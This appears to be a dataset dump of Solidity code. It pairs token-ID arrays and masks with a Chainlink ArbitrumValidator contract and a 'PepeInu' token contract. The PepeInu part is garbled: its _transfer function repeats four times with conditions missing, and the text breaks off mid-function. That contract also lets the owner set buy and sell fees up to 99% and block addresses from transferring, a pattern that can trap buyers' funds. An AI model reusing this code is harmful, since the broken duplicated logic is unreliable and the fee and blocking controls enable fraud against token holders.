394,
5541,
1769,
203,
203,
225,
3885,
1435,
288,
203,
565,
389,
542,
5541,
24899,
3576,
12021,
10663,
203,
225,
289,
203,
203,
225,
445,
3410,
1435,
1071,
1476,
5024,
1135,
261,
2867,
13,
288,
203,
565,
327,
389,
8443,
31,
203,
225,
289,
203,
203,
225,
9606,
1338,
5541,
1435,
288,
203,
565,
2583,
12,
8443,
1435,
422,
389,
3576,
12021,
9334,
315,
5460,
429,
30,
4894,
353,
486,
326,
3410,
8863,
203,
565,
389,
31,
203,
225,
289,
203,
203,
225,
445,
1654,
8386,
5460,
12565,
1435,
1071,
5024,
1338,
5541,
288,
203,
565,
389,
542,
5541,
12,
2867,
12,
20,
10019,
203,
225,
289,
203,
203,
225,
445,
7412,
5460,
12565,
12,
2867,
394,
5541,
13,
1071,
5024,
1338,
5541,
288,
203,
565,
2583,
12,
2704,
5541,
480,
1758,
12,
20,
3631,
315,
5460,
429,
30,
394,
3410,
353,
326,
3634,
1758,
8863,
203,
565,
389,
542,
5541,
12,
2704,
5541,
1769,
203,
225,
289,
203,
203,
225,
445,
389,
542,
5541,
12,
2867,
394,
5541,
13,
3238,
288,
203,
565,
1758,
1592,
5541,
273,
389,
8443,
31,
203,
565,
389,
8443,
273,
394,
5541,
31,
203,
565,
3626,
14223,
9646,
5310,
1429,
4193,
12,
1673,
5541,
16,
394,
5541,
1769,
203,
225,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import "../interfaces/AggregatorValidatorInterface.sol";
import "../interfaces/TypeAndVersionInterface.sol";
import "../interfaces/AccessControllerInterface.sol";
import "../SimpleWriteAccessController.sol";
/* dev dependencies - to be re/moved after audit */
import "./vendor/arb-bridge-eth/v0.8.0-custom/contracts/bridge/interfaces/IInbox.sol";
import "./interfaces/FlagsInterface.sol";
/**
* @title ArbitrumValidator
* @notice Allows to raise and lower Flags on the Arbitrum network through its Layer 1 contracts
* - The internal AccessController controls the access of the validate method
* - Gas configuration is controlled by a configurable external SimpleWriteAccessController
* - Funds on the contract are managed by the owner
*/
contract ArbitrumValidator is TypeAndVersionInterface, AggregatorValidatorInterface, SimpleWriteAccessController {
// Config for L1 -> L2 `createRetryableTicket` call
struct GasConfiguration {
uint256 maxSubmissionCost;
uint256 maxGasPrice;
uint256 gasCostL2;
uint256 gasLimitL2;
address refundableAddress;
}
/// @dev Follows: https://eips.ethereum.org/EIPS/eip-1967
address constant private FLAG_ARBITRUM_SEQ_OFFLINE = address(bytes20(bytes32(uint256(keccak256("chainlink.flags.arbitrum-seq-offline")) - 1)));
bytes constant private CALL_RAISE_FLAG = abi.encodeWithSelector(FlagsInterface.raiseFlag.selector, FLAG_ARBITRUM_SEQ_OFFLINE);
bytes constant private CALL_LOWER_FLAG = abi.encodeWithSelector(FlagsInterface.lowerFlag.selector, FLAG_ARBITRUM_SEQ_OFFLINE);
address private s_l2FlagsAddress;
IInbox private s_inbox;
AccessControllerInterface private s_gasConfigAccessController;
GasConfiguration private s_gasConfig;
/**
* @notice emitted when a new gas configuration is set
* @param maxSubmissionCost maximum cost willing to pay on L2
* @param maxGasPrice maximum gas price to pay on L2
* @param gasCostL2 value to send to L2 to cover gas fee
* @param refundableAddress address where gas excess on L2 will be sent
*/
event GasConfigurationSet(
uint256 maxSubmissionCost,
uint256 maxGasPrice,
uint256 gasCostL2,
uint256 gasLimitL2,
address indexed refundableAddress
);
/**
* @notice emitted when a new gas access-control contract is set
* @param previous the address prior to the current setting
* @param current the address of the new access-control contract
*/
event GasAccessControllerSet(
address indexed previous,
address indexed current
);
/**
* @param inboxAddress address of the Arbitrum Inbox L1 contract
* @param l2FlagsAddress address of the Chainlink L2 Flags contract
* @param gasConfigAccessControllerAddress address of the access controller for managing gas price on Arbitrum
* @param maxSubmissionCost maximum cost willing to pay on L2
* @param maxGasPrice maximum gas price to pay on L2
* @param gasCostL2 value to send to L2 to cover gas fee
* @param gasLimitL2 gas limit for immediate L2 execution attempt. A value around 1M should be sufficient
* @param refundableAddress address where gas excess on L2 will be sent
*/
constructor(
address inboxAddress,
address l2FlagsAddress,
address gasConfigAccessControllerAddress,
uint256 maxSubmissionCost,
uint256 maxGasPrice,
uint256 gasCostL2,
uint256 gasLimitL2,
address refundableAddress
) {
require(inboxAddress != address(0), "Invalid Inbox contract address");
require(l2FlagsAddress != address(0), "Invalid Flags contract address");
s_inbox = IInbox(inboxAddress);
s_gasConfigAccessController = AccessControllerInterface(gasConfigAccessControllerAddress);
s_l2FlagsAddress = l2FlagsAddress;
_setGasConfiguration(maxSubmissionCost, maxGasPrice, gasCostL2, gasLimitL2, refundableAddress);
}
/**
* @notice versions:
*
* - ArbitrumValidator 0.1.0: initial release
*
* @inheritdoc TypeAndVersionInterface
*/
function typeAndVersion()
external
pure
virtual
override
returns (
string memory
)
{
return "ArbitrumValidator 0.1.0";
}
/// @return L2 Flags contract address
function l2Flags()
external
view
virtual
returns (address)
{
return s_l2FlagsAddress;
}
/// @return Arbitrum Inbox contract address
function inbox()
external
view
virtual
returns (address)
{
return address(s_inbox);
}
/// @return gas config AccessControllerInterface contract address
function gasConfigAccessController()
external
view
virtual
returns (address)
{
return address(s_gasConfigAccessController);
}
/// @return stored GasConfiguration
function gasConfig()
external
view
virtual
returns (GasConfiguration memory)
{
return s_gasConfig;
}
/// @notice makes this contract payable as it need funds to pay for L2 transactions fees on L1.
receive() external payable {}
/**
* @notice withdraws all funds availbale in this contract to the msg.sender
* @dev only owner can call this
*/
function withdrawFunds()
external
onlyOwner()
{
address payable to = payable(msg.sender);
to.transfer(address(this).balance);
}
/**
* @notice withdraws all funds availbale in this contract to the address specified
* @dev only owner can call this
* @param to address where to send the funds
*/
function withdrawFundsTo(
address payable to
)
external
onlyOwner()
{
to.transfer(address(this).balance);
}
/**
* @notice sets gas config AccessControllerInterface contract
* @dev only owner can call this
* @param accessController new AccessControllerInterface contract address
*/
function setGasAccessController(
address accessController
)
external
onlyOwner
{
_setGasAccessController(accessController);
}
/**
* @notice sets Arbitrum gas configuration
* @dev access control provided by s_gasConfigAccessController
* @param maxSubmissionCost maximum cost willing to pay on L2
* @param maxGasPrice maximum gas price to pay on L2
* @param gasCostL2 value to send to L2 to cover gas fee
* @param gasLimitL2 gas limit for immediate L2 execution attempt. A value around 1M should be sufficient
* @param refundableAddress address where gas excess on L2 will be sent
*/
function setGasConfiguration(
uint256 maxSubmissionCost,
uint256 maxGasPrice,
uint256 gasCostL2,
uint256 gasLimitL2,
address refundableAddress
)
external
{
require(s_gasConfigAccessController.hasAccess(msg.sender, msg.data), "Access required to set config");
_setGasConfiguration(maxSubmissionCost, maxGasPrice, gasCostL2, gasLimitL2, refundableAddress);
}
/**
* @notice validate method updates the state of an L2 Flag in case of change on the Arbitrum Sequencer.
* A one answer considers the service as offline.
* In case the previous answer is the same as the current it does not trigger any tx on L2. In other case,
* a retryable ticket is created on the Arbitrum L1 Inbox contract. The tx gas fee can be paid from this
* contract providing a value, or the same address on L2.
* @dev access control provided internally by SimpleWriteAccessController
* @param previousAnswer previous aggregator answer
* @param currentAnswer new aggregator answer
*/
function validate(
uint256 /* previousRoundId */,
int256 previousAnswer,
uint256 /* currentRoundId */,
int256 currentAnswer
)
external
override
checkAccess()
returns (bool)
{
// Avoids resending to L2 the same tx on every call
if (previousAnswer == currentAnswer) {
return true;
}
int isServiceOffline = 1;
// NOTICE: if gasCostL2 is zero the payment is processed on L2 so the L2 address needs to be funded, as it will
// paying the fee. We also ignore the returned msg number, that can be queried via the InboxMessageDelivered event.
s_inbox.createRetryableTicket{value: s_gasConfig.gasCostL2}(
s_l2FlagsAddress,
0, // L2 call value
// NOTICE: maxSubmissionCost info will possibly become available on L1 after the London fork. At that time this
// contract could start querying/calculating it directly so we wouldn't need to configure it statically. On L2 this
// info is available via `ArbRetryableTx.getSubmissionPrice`.
s_gasConfig.maxSubmissionCost, // Max submission cost of sending data length
s_gasConfig.refundableAddress, // excessFeeRefundAddress
s_gasConfig.refundableAddress, // callValueRefundAddress
s_gasConfig.gasLimitL2,
s_gasConfig.maxGasPrice,
currentAnswer == isServiceOffline ? CALL_RAISE_FLAG : CALL_LOWER_FLAG
);
return true;
}
function _setGasConfiguration(
uint256 maxSubmissionCost,
uint256 maxGasPrice,
uint256 gasCostL2,
uint256 gasLimitL2,
address refundableAddress
)
internal
{
// L2 will pay the fee if gasCostL2 is zero
if (gasCostL2 > 0) {
uint256 minGasCostValue = maxSubmissionCost + gasLimitL2 * maxGasPrice;
require(gasCostL2 >= minGasCostValue, "Gas cost provided is too low");
}
s_gasConfig = GasConfiguration(maxSubmissionCost, maxGasPrice, gasCostL2, gasLimitL2, refundableAddress);
emit GasConfigurationSet(maxSubmissionCost, maxGasPrice, gasCostL2, gasLimitL2, refundableAddress);
}
function _setGasAccessController(
address accessController
)
internal
{
address previousAccessController = address(s_gasConfigAccessController);
if (accessController != previousAccessController) {
s_gasConfigAccessController = AccessControllerInterface(accessController);
emit GasAccessControllerSet(previousAccessController, accessController);
}
}
}
| * @notice withdraws all funds availbale in this contract to the msg.sender @dev only owner can call this/ | function withdrawFunds()
external
onlyOwner()
{
address payable to = payable(msg.sender);
to.transfer(address(this).balance);
}
| 6,451,170 | [
1,
1918,
9446,
87,
777,
284,
19156,
15783,
70,
5349,
316,
333,
6835,
358,
326,
1234,
18,
15330,
225,
1338,
3410,
848,
745,
333,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
598,
9446,
42,
19156,
1435,
203,
565,
3903,
203,
565,
1338,
5541,
1435,
203,
225,
288,
203,
565,
1758,
8843,
429,
358,
273,
8843,
429,
12,
3576,
18,
15330,
1769,
203,
565,
358,
18,
13866,
12,
2867,
12,
2211,
2934,
12296,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/8453/0x98693BB71114EFf92cb81f4F8A4d4c65cc0eE72b/sources/PepeInu.sol | Anti-bot and anti-whale mappings and variables | contract PepeInu is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
address public uniV2router = 0xfCD3842f85ed87ba2889b4D35893403796e67FF1;
bool private swapping;
address public marketingWallet;
address public developmentWallet;
address public liquidityWallet;
address public operationsWallet;
uint256 public maxTransaction;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
uint256 private launchBlock;
mapping(address => bool) public blocked;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevelopmentFee;
uint256 public buyOperationsFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevelopmentFee;
uint256 public sellOperationsFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDevelopment;
uint256 public tokensForOperations;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedmaxTransaction;
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event developmentWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event liquidityWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event operationsWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() ERC20("Pepe Inu", "PEPINU") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(uniV2router);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 20;
uint256 _buyLiquidityFee = 0;
uint256 _buyDevelopmentFee = 0;
uint256 _buyOperationsFee = 0;
uint256 _sellMarketingFee = 20;
uint256 _sellLiquidityFee = 0;
uint256 _sellDevelopmentFee = 0;
uint256 _sellOperationsFee = 0;
uint256 totalSupply = 69_420_000_000 * 1e18;
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevelopmentFee = _buyDevelopmentFee;
buyOperationsFee = _buyOperationsFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevelopmentFee + buyOperationsFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevelopmentFee = _sellDevelopmentFee;
sellOperationsFee = _sellOperationsFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevelopmentFee + sellOperationsFee;
marketingWallet = address(0xE6C297BE17927e221eaCc8D02396777fbEb203b4);
developmentWallet = address(0xE6C297BE17927e221eaCc8D02396777fbEb203b4);
liquidityWallet = address(0xE6C297BE17927e221eaCc8D02396777fbEb203b4);
operationsWallet = address(0xE6C297BE17927e221eaCc8D02396777fbEb203b4);
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
_mint(msg.sender, totalSupply);
}
receive() external payable {}
function enableTrading() external onlyOwner {
require(!tradingActive, "Token launched");
tradingActive = true;
launchBlock = block.number;
swapEnabled = true;
}
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
require(
newAmount >= (totalSupply() * 1) / 100000,
"Swap amount cannot be lower than 0.001% total supply."
);
require(
newAmount <= (totalSupply() * 5) / 1000,
"Swap amount cannot be higher than 0.5% total supply."
);
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTransaction(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 1) / 1000) / 1e18,
"Cannot set maxTransaction lower than 0.1%"
);
maxTransaction = newNum * (10**18);
}
function updateMaxWallet(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 5) / 1000) / 1e18,
"Cannot set maxWallet lower than 0.5%"
);
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedmaxTransaction[updAds] = isEx;
}
function updateSwapEnabled(bool enabled) external onlyOwner {
swapEnabled = enabled;
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _developmentFee,
uint256 _operationsFee
) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevelopmentFee = _developmentFee;
buyOperationsFee = _operationsFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevelopmentFee + buyOperationsFee;
require(buyTotalFees <= 99);
}
function updateSellFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _developmentFee,
uint256 _operationsFee
) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevelopmentFee = _developmentFee;
sellOperationsFee = _operationsFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevelopmentFee + sellOperationsFee;
require(sellTotalFees <= 99);
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updatemarketingWallet(address newmarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newmarketingWallet, marketingWallet);
marketingWallet = newmarketingWallet;
}
function updatedevelopmentWallet(address newWallet) external onlyOwner {
emit developmentWalletUpdated(newWallet, developmentWallet);
developmentWallet = newWallet;
}
function updateoperationsWallet(address newWallet) external onlyOwner{
emit operationsWalletUpdated(newWallet, operationsWallet);
operationsWallet = newWallet;
}
function updateliquidityWallet(address newliquidityWallet) external onlyOwner {
emit liquidityWalletUpdated(newliquidityWallet, liquidityWallet);
liquidityWallet = newliquidityWallet;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedmaxTransaction[to]
) {
require(
amount <= maxTransaction,
"Buy transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedmaxTransaction[from]
) {
require(
amount <= maxTransaction,
"Sell transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDevelopment += (fees * sellDevelopmentFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDevelopment += (fees * buyDevelopmentFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedmaxTransaction[to]
) {
require(
amount <= maxTransaction,
"Buy transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedmaxTransaction[from]
) {
require(
amount <= maxTransaction,
"Sell transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDevelopment += (fees * sellDevelopmentFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDevelopment += (fees * buyDevelopmentFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedmaxTransaction[to]
) {
require(
amount <= maxTransaction,
"Buy transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedmaxTransaction[from]
) {
require(
amount <= maxTransaction,
"Sell transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDevelopment += (fees * sellDevelopmentFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDevelopment += (fees * buyDevelopmentFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedmaxTransaction[to]
) {
require(
amount <= maxTransaction,
"Buy transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedmaxTransaction[from]
) {
require(
amount <= maxTransaction,
"Sell transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
